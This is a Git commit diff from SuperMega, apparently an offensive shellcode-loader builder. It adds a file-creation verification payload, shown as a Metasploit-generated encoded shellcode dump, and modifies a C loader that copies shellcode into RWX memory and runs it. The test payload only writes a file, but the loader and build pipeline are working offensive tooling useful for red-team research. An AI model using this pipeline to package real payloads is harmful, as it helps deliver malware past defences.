mirror of
https://github.com/dobin/SuperMega
synced 2026-06-02 17:27:10 +00:00
feature: createfile shellcode verification
This commit is contained in:
@@ -4,3 +4,4 @@
|
||||
/*.bin
|
||||
*.asm
|
||||
__pycache__
|
||||
bak/
|
||||
|
||||
@@ -1,21 +1,32 @@
|
||||
import subprocess
|
||||
import os
|
||||
import pefile
|
||||
import time
|
||||
|
||||
|
||||
def clean_files():
|
||||
os.remove("main.asm") # generated from compiling source/main.c
|
||||
os.remove("main-clean.asm") # cleaned for being a shellcode
|
||||
os.remove("main-clean.exe") # assembled
|
||||
os.remove("main-clean.bin")
|
||||
os.remove("main-clean-append.bin")
|
||||
SHC_VERIFY_SLEEP = 0.1
|
||||
|
||||
path_cl = r'C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\bin\Hostx64\x64\cl.exe'
|
||||
path_masmshc = r'C:\Users\hacker\Source\Repos\masm_shc\out\build\x64-Debug\masm_shc\masm_shc.exe'
|
||||
path_ml64 = r'C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\bin\Hostx64\x64\ml64.exe'
|
||||
|
||||
path_runshc = r'C:\Users\hacker\Source\Repos\masm_shc\out\build\x64-Debug\runshc\runshc.exe'
|
||||
path_shexec = r'C:\Research\hasherezade\exec_fiber\sh-exec-fiber.exe'
|
||||
|
||||
verify_filename = r'C:\Temp\a'
|
||||
|
||||
|
||||
def clean_files():
|
||||
try:
|
||||
os.remove("main.asm") # generated from compiling source/main.c
|
||||
os.remove("main-clean.asm") # cleaned for being a shellcode
|
||||
os.remove("main-clean.exe") # assembled
|
||||
os.remove("main-clean.bin")
|
||||
os.remove("main-clean-append.bin")
|
||||
os.remove(verify_filename)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def make_c_to_asm(c_file, asm_file, asm_clean_file):
|
||||
print("--[ Compile C source to ASM: {} -> {} ]".format(c_file, asm_file))
|
||||
@@ -25,24 +36,24 @@ def make_c_to_asm(c_file, asm_file, asm_clean_file):
|
||||
"/FA",
|
||||
"/GS-",
|
||||
c_file,
|
||||
], check=True)
|
||||
], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
||||
if not os.path.isfile(asm_file):
|
||||
print("Error")
|
||||
return
|
||||
else:
|
||||
print(" Generated {}".format(asm_file))
|
||||
print(" > Generated {}".format(asm_file))
|
||||
|
||||
print("--[ Cleanup ASM: {} -> {} ]".format(asm_file, asm_clean_file))
|
||||
subprocess.run([
|
||||
path_masmshc,
|
||||
asm_file,
|
||||
asm_clean_file,
|
||||
], check=True)
|
||||
], check=True, stdout=subprocess.DEVNULL)
|
||||
if not os.path.isfile(asm_clean_file):
|
||||
print("Error")
|
||||
return
|
||||
else:
|
||||
print(" Generated {}".format(asm_clean_file))
|
||||
print(" > Generated {}".format(asm_clean_file))
|
||||
|
||||
print("--[ Fixup ASM: {} ]".format(asm_clean_file))
|
||||
fixup_asm_file(asm_clean_file)
|
||||
@@ -55,7 +66,7 @@ def fixup_asm_file(filename):
|
||||
# replace external reference with shellcode reference
|
||||
for idx, line in enumerate(lines):
|
||||
if "dobin" in lines[idx]:
|
||||
print("--( Replace external reference at: {})".format(idx))
|
||||
print(" > Replace external reference at: {})".format(idx))
|
||||
lines[idx] = lines[idx].replace(
|
||||
"mov r8, QWORD PTR dobin",
|
||||
"lea r8, [shcstart]"
|
||||
@@ -64,7 +75,7 @@ def fixup_asm_file(filename):
|
||||
# add label at end of code
|
||||
for idx, line in enumerate(lines):
|
||||
if lines[idx].startswith("END"):
|
||||
print("--( Add end of code label at: {})".format(idx))
|
||||
print(" > Add end of code label at: {})".format(idx))
|
||||
lines.insert(idx-1, "shcstart:\r\n")
|
||||
lines.insert(idx, "\tnop\r\n")
|
||||
break
|
||||
@@ -75,18 +86,17 @@ def fixup_asm_file(filename):
|
||||
|
||||
def make_shc_from_asm(asm_clean_file, exe_file, shc_file):
|
||||
print("--[ Assemble to exe ]")
|
||||
path_ml64 = r'C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\bin\Hostx64\x64\ml64.exe'
|
||||
subprocess.run([
|
||||
path_ml64,
|
||||
asm_clean_file,
|
||||
"/link",
|
||||
"/entry:AlignRSP"
|
||||
], check=True)
|
||||
], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
||||
if not os.path.isfile(exe_file):
|
||||
print("Error")
|
||||
return
|
||||
else:
|
||||
print(" Generated {}".format(exe_file))
|
||||
print(" > Generated {}".format(exe_file))
|
||||
|
||||
print("--[ Get code section from exe ]")
|
||||
code = get_code_section(exe_file)
|
||||
@@ -104,9 +114,10 @@ def get_code_section(pe_file):
|
||||
for section in pe.sections:
|
||||
# Check if this is the code section
|
||||
if '.text' in section.Name.decode().rstrip('\x00'):
|
||||
print("--> Size: {}".format(section.SizeOfRawData))
|
||||
data = section.get_data()
|
||||
data = remove_trailing_null_bytes(data)
|
||||
print(" > Code Size Raw: {} Size me: {}".format(
|
||||
section.SizeOfRawData, len(data)))
|
||||
return data
|
||||
else:
|
||||
print("Code section not found.")
|
||||
@@ -145,7 +156,7 @@ def obfuscate_shc_loader(file_shc_in, file_shc_out):
|
||||
print("Error")
|
||||
return
|
||||
else:
|
||||
print(" Generated main-clean-sgn.bin")
|
||||
print(" > Generated main-clean-sgn.bin")
|
||||
|
||||
|
||||
def test_shellcode(shc_name):
|
||||
@@ -155,3 +166,26 @@ def test_shellcode(shc_name):
|
||||
"{}".format(shc_name),
|
||||
]) # , check=True
|
||||
|
||||
|
||||
def verify_shellcode(shc_name):
|
||||
print("--[ Test shellcode: {} ]".format(shc_name))
|
||||
|
||||
# check if directory exists
|
||||
if not os.path.exists(os.path.dirname(verify_filename)):
|
||||
print("Error, directory does not exist for: {}".format(verify_filename))
|
||||
return
|
||||
|
||||
# path_runshc
|
||||
# path_shexec
|
||||
subprocess.run([
|
||||
path_runshc,
|
||||
"{}".format(shc_name),
|
||||
]) # , check=True
|
||||
time.sleep(SHC_VERIFY_SLEEP)
|
||||
if os.path.isfile(verify_filename):
|
||||
print("--> OK. File creation test shellcode payload verified")
|
||||
# better to remove it immediately. If cleanup on start is not performed,
|
||||
# there may be false positives
|
||||
os.remove(verify_filename)
|
||||
else:
|
||||
print("--> FAIL. Payload did not create file.")
|
||||
|
||||
@@ -0,0 +1,3 @@
|
||||
�
|
||||
�
|
||||
�
|
||||
@@ -0,0 +1,40 @@
|
||||
# createfile shellcode
|
||||
|
||||
```
|
||||
> use payload/windows/x64/exec
|
||||
|
||||
msf6 payload(windows/x64/exec) > set cmd "cmd.exe /c echo a > a"
|
||||
cmd => cmd.exe /c echo a > a
|
||||
msf6 payload(windows/x64/exec) > generate -b "\x00"
|
||||
# windows/x64/exec - 339 bytes
|
||||
# https://metasploit.com/
|
||||
# Encoder: x64/xor_dynamic
|
||||
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
|
||||
# CMD=cmd.exe /c echo a > a
|
||||
buf =
|
||||
"\xeb\x27\x5b\x53\x5f\xb0\x3f\xfc\xae\x75\xfd\x57\x59\x53" +
|
||||
"\x5e\x8a\x06\x30\x07\x48\xff\xc7\x48\xff\xc6\x66\x81\x3f" +
|
||||
"\x04\x74\x74\x07\x80\x3e\x3f\x75\xea\xeb\xe6\xff\xe1\xe8" +
|
||||
"\xd4\xff\xff\xff\x07\x3f\xfb\x4f\x84\xe3\xf7\xef\xc7\x07" +
|
||||
"\x07\x07\x46\x56\x46\x57\x55\x56\x51\x4f\x36\xd5\x62\x4f" +
|
||||
"\x8c\x55\x67\x4f\x8c\x55\x1f\x4f\x8c\x55\x27\x4f\x8c\x75" +
|
||||
"\x57\x4f\x08\xb0\x4d\x4d\x4a\x36\xce\x4f\x36\xc7\xab\x3b" +
|
||||
"\x66\x7b\x05\x2b\x27\x46\xc6\xce\x0a\x46\x06\xc6\xe5\xea" +
|
||||
"\x55\x46\x56\x4f\x8c\x55\x27\x8c\x45\x3b\x4f\x06\xd7\x8c" +
|
||||
"\x87\x8f\x07\x07\x07\x4f\x82\xc7\x73\x60\x4f\x06\xd7\x57" +
|
||||
"\x8c\x4f\x1f\x43\x8c\x47\x27\x4e\x06\xd7\xe4\x51\x4f\xf8" +
|
||||
"\xce\x46\x8c\x33\x8f\x4f\x06\xd1\x4a\x36\xce\x4f\x36\xc7" +
|
||||
"\xab\x46\xc6\xce\x0a\x46\x06\xc6\x3f\xe7\x72\xf6\x4b\x04" +
|
||||
"\x4b\x23\x0f\x42\x3e\xd6\x72\xdf\x5f\x43\x8c\x47\x23\x4e" +
|
||||
"\x06\xd7\x61\x46\x8c\x0b\x4f\x43\x8c\x47\x1b\x4e\x06\xd7" +
|
||||
"\x46\x8c\x03\x8f\x4f\x06\xd7\x46\x5f\x46\x5f\x59\x5e\x5d" +
|
||||
"\x46\x5f\x46\x5e\x46\x5d\x4f\x84\xeb\x27\x46\x55\xf8\xe7" +
|
||||
"\x5f\x46\x5e\x5d\x4f\x8c\x15\xee\x50\xf8\xf8\xf8\x5a\x4f" +
|
||||
"\xbd\x06\x07\x07\x07\x07\x07\x07\x07\x4f\x8a\x8a\x06\x06" +
|
||||
"\x07\x07\x46\xbd\x36\x8c\x68\x80\xf8\xd2\xbc\xf7\xb2\xa5" +
|
||||
"\x51\x46\xbd\xa1\x92\xba\x9a\xf8\xd2\x4f\x84\xc3\x2f\x3b" +
|
||||
"\x01\x7b\x0d\x87\xfc\xe7\x72\x02\xbc\x40\x14\x75\x68\x6d" +
|
||||
"\x07\x5e\x46\x8e\xdd\xf8\xd2\x64\x6a\x63\x29\x62\x7f\x62" +
|
||||
"\x27\x28\x64\x27\x62\x64\x6f\x68\x27\x66\x27\x39\x27\x66" +
|
||||
"\x07\x04\x74"
|
||||
```
|
||||
@@ -0,0 +1,25 @@
|
||||
\xeb\x27\x5b\x53\x5f\xb0\xa8\xfc\xae\x75\xfd\x57\x59\x53
|
||||
\x5e\x8a\x06\x30\x07\x48\xff\xc7\x48\xff\xc6\x66\x81\x3f
|
||||
\xb5\x35\x74\x07\x80\x3e\xa8\x75\xea\xeb\xe6\xff\xe1\xe8
|
||||
\xd4\xff\xff\xff\x07\xa8\xfb\x4f\x84\xe3\xf7\xef\xc7\x07
|
||||
\x07\x07\x46\x56\x46\x57\x55\x56\x51\x4f\x36\xd5\x62\x4f
|
||||
\x8c\x55\x67\x4f\x8c\x55\x1f\x4f\x8c\x55\x27\x4f\x8c\x75
|
||||
\x57\x4f\x08\xb0\x4d\x4d\x4a\x36\xce\x4f\x36\xc7\xab\x3b
|
||||
\x66\x7b\x05\x2b\x27\x46\xc6\xce\x0a\x46\x06\xc6\xe5\xea
|
||||
\x55\x46\x56\x4f\x8c\x55\x27\x8c\x45\x3b\x4f\x06\xd7\x8c
|
||||
\x87\x8f\x07\x07\x07\x4f\x82\xc7\x73\x60\x4f\x06\xd7\x57
|
||||
\x8c\x4f\x1f\x43\x8c\x47\x27\x4e\x06\xd7\xe4\x51\x4f\xf8
|
||||
\xce\x46\x8c\x33\x8f\x4f\x06\xd1\x4a\x36\xce\x4f\x36\xc7
|
||||
\xab\x46\xc6\xce\x0a\x46\x06\xc6\x3f\xe7\x72\xf6\x4b\x04
|
||||
\x4b\x23\x0f\x42\x3e\xd6\x72\xdf\x5f\x43\x8c\x47\x23\x4e
|
||||
\x06\xd7\x61\x46\x8c\x0b\x4f\x43\x8c\x47\x1b\x4e\x06\xd7
|
||||
\x46\x8c\x03\x8f\x4f\x06\xd7\x46\x5f\x46\x5f\x59\x5e\x5d
|
||||
\x46\x5f\x46\x5e\x46\x5d\x4f\x84\xeb\x27\x46\x55\xf8\xe7
|
||||
\x5f\x46\x5e\x5d\x4f\x8c\x15\xee\x50\xf8\xf8\xf8\x5a\x4f
|
||||
\xbd\x06\x07\x07\x07\x07\x07\x07\x07\x4f\x8a\x8a\x06\x06
|
||||
\x07\x07\x46\xbd\x36\x8c\x68\x80\xf8\xd2\xbc\xf7\xb2\xa5
|
||||
\x51\x46\xbd\xa1\x92\xba\x9a\xf8\xd2\x4f\x84\xc3\x2f\x3b
|
||||
\x01\x7b\x0d\x87\xfc\xe7\x72\x02\xbc\x40\x14\x75\x68\x6d
|
||||
\x07\x5e\x46\x8e\xdd\xf8\xd2\x64\x6a\x63\x29\x62\x7f\x62
|
||||
\x27\x28\x64\x27\x62\x64\x6f\x68\x27\x66\x27\x39\x27\x64
|
||||
\x3d\x5b\x73\x62\x6a\x77\x5b\x66\x07\xb5\x35
|
||||
+3
-1
@@ -51,6 +51,7 @@ int main()
|
||||
}
|
||||
|
||||
// user32.dll: MessageBoxW()
|
||||
/*
|
||||
char user32_dll_name[] = { 'u','s','e','r','3','2','.','d','l','l', 0 };
|
||||
LPVOID u32_dll = _LoadLibraryA(user32_dll_name);
|
||||
char message_box_name[] = { 'M','e','s','s','a','g','e','B','o','x','W', 0 };
|
||||
@@ -68,6 +69,7 @@ int main()
|
||||
wchar_t msg_content[] = { 'H','e','l','l','o', ' ', 'W','o','r','l','d','!', 0 };
|
||||
wchar_t msg_title[] = { 'D','e','m','o','!', 0 };
|
||||
_MessageBoxW(0, msg_title, msg_content, MB_OK);
|
||||
*/
|
||||
|
||||
// Copy shellcode
|
||||
// ntdll.dll: VirtualAlloc()
|
||||
@@ -83,7 +85,7 @@ int main()
|
||||
_In_ DWORD flProtect)) _GetProcAddress((HMODULE)base, VirtualAlloc_str);
|
||||
if (_VirtualAlloc == NULL) return 4;
|
||||
char *dest = _VirtualAlloc(NULL, 4096, 0x3000, 0x40);
|
||||
for(int n=0; n<272; n++) {
|
||||
for(int n=0; n<347+1; n++) {
|
||||
dest[n] = dobin[n];
|
||||
}
|
||||
|
||||
|
||||
+37
-4
@@ -20,8 +20,9 @@ class DataRefStyle(Enum):
|
||||
APPEND = 1
|
||||
|
||||
|
||||
options = {
|
||||
options_default = {
|
||||
"payload": "shellcodes/calc64.bin",
|
||||
"verify": False,
|
||||
|
||||
"cleanup_files_on_start": True,
|
||||
"generate_asm_from_c": True,
|
||||
@@ -29,6 +30,7 @@ options = {
|
||||
"test_loader_shellcode": False,
|
||||
"obfuscate_shc_loader": False,
|
||||
"test_obfuscated_shc": False,
|
||||
"exec_final_shellcode": True,
|
||||
|
||||
"alloc_style": AllocStyle.RWX,
|
||||
"exec_style": ExecStyle.CALL,
|
||||
@@ -37,6 +39,31 @@ options = {
|
||||
}
|
||||
|
||||
|
||||
# This will verify if our loader works
|
||||
# - Use it on a "target" machine
|
||||
# - payload shellcode will create a file c:\temp\a
|
||||
# - set: verify=True
|
||||
options_test = {
|
||||
"payload": "shellcodes/createfile.bin",
|
||||
"verify": True,
|
||||
|
||||
"cleanup_files_on_start": True,
|
||||
"generate_asm_from_c": True,
|
||||
"generate_shc_from_asm": True,
|
||||
"test_loader_shellcode": False,
|
||||
"obfuscate_shc_loader": False,
|
||||
"test_obfuscated_shc": False,
|
||||
"exec_final_shellcode": False,
|
||||
|
||||
"alloc_style": AllocStyle.RWX,
|
||||
"exec_style": ExecStyle.CALL,
|
||||
"copy_style": CopyStyle.SIMPLE,
|
||||
"dataref_style": DataRefStyle.APPEND
|
||||
}
|
||||
|
||||
|
||||
options = options_test
|
||||
|
||||
|
||||
def main():
|
||||
print("Super Mega")
|
||||
@@ -67,14 +94,20 @@ def main():
|
||||
with open(options["payload"], 'rb') as input2:
|
||||
data_payload = input2.read()
|
||||
|
||||
print("---[ Stager: {} Shellcode: {} ]".format(len(data_stager), len(data_payload)))
|
||||
print("--[ Stager: {} Shellcode: {} (both: {})]".format(
|
||||
len(data_stager), len(data_payload), len(data_stager)+len(data_payload)))
|
||||
|
||||
with open("main-clean-append.bin", 'wb') as output:
|
||||
output.write(data_stager)
|
||||
output.write(data_payload)
|
||||
|
||||
print("--[ Test Append shellcode ]")
|
||||
test_shellcode("main-clean-append.bin")
|
||||
if options["verify"]:
|
||||
print("--[ Verify final shellcode ]")
|
||||
verify_shellcode("main-clean-append.bin")
|
||||
|
||||
if options["exec_final_shellcode"]:
|
||||
print("--[ Test Append shellcode ]")
|
||||
test_shellcode("main-clean-append.bin")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
Reference in New Issue
Block a user